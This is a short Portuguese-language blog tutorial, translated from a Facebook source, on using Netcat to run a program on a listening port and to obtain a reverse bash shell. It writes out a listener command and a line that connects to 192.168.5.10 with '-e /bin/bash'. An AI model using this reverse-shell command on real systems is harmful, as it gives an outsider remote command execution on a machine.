+ - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - +
| Usando Netcat obter um shell remoto | por r3boot3rAX |
+ - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - +
Hoje vamos falar sobre uma ferramenta popular, chamado "Netcat",
Muitas vezes referido como o "canivete suíço das redes",
Netcat é uma ferramenta que os administradores podem usar para ler e escrever dados
TCP ou UDP através da rede. Além disso, é extremamente útil para a depuração de rede e de ensaio.
Netcat oferece vários usos interessantes. Por exemplo, você pode fazê-lo
Ouvir uma determinada porta e executar um programa. Para isso, use o seguinte:
$ netcat -v -l -p 10111 -e "/bin/cat /etc/motd"
Isto diz netcat para escutar na porta 10111. Quando há uma conexão, ele diz netcat para executar
"/bin/cat /etc/motd,"que basicamente exibe o conteúdo do arquivo /etc/motd e sai.
Você também pode configurar o netcat em uma máquina para escutar as conexões de entrada e executá-lo
Em uma máquina remota para se conectar à máquina local e servir-se de um shell bash. Por exemplo,
Em uma máquina local com um endereço IP de 192.168.5.10, você usaria o seguinte:
$ netcat -v -l -p 10111
Na máquina remota, você usaria:
$ netcat 192.168.5.10 10111 -e /bin/bash
Isto diz a instância netcat na máquina remota para conectar-se à instância netcat escutando na 192.168.5.10
E servir-se de um shell bash da máquina remota, que estará disponível na máquina local.
Usando o exemplo netcat em 192.168.5.10, você pode executar comandos shell no host remoto.
Texto traduzido.
Fonte:https://www.facebook.com/legions.united
Este comentário foi removido por um administrador do blog.
ResponderExcluir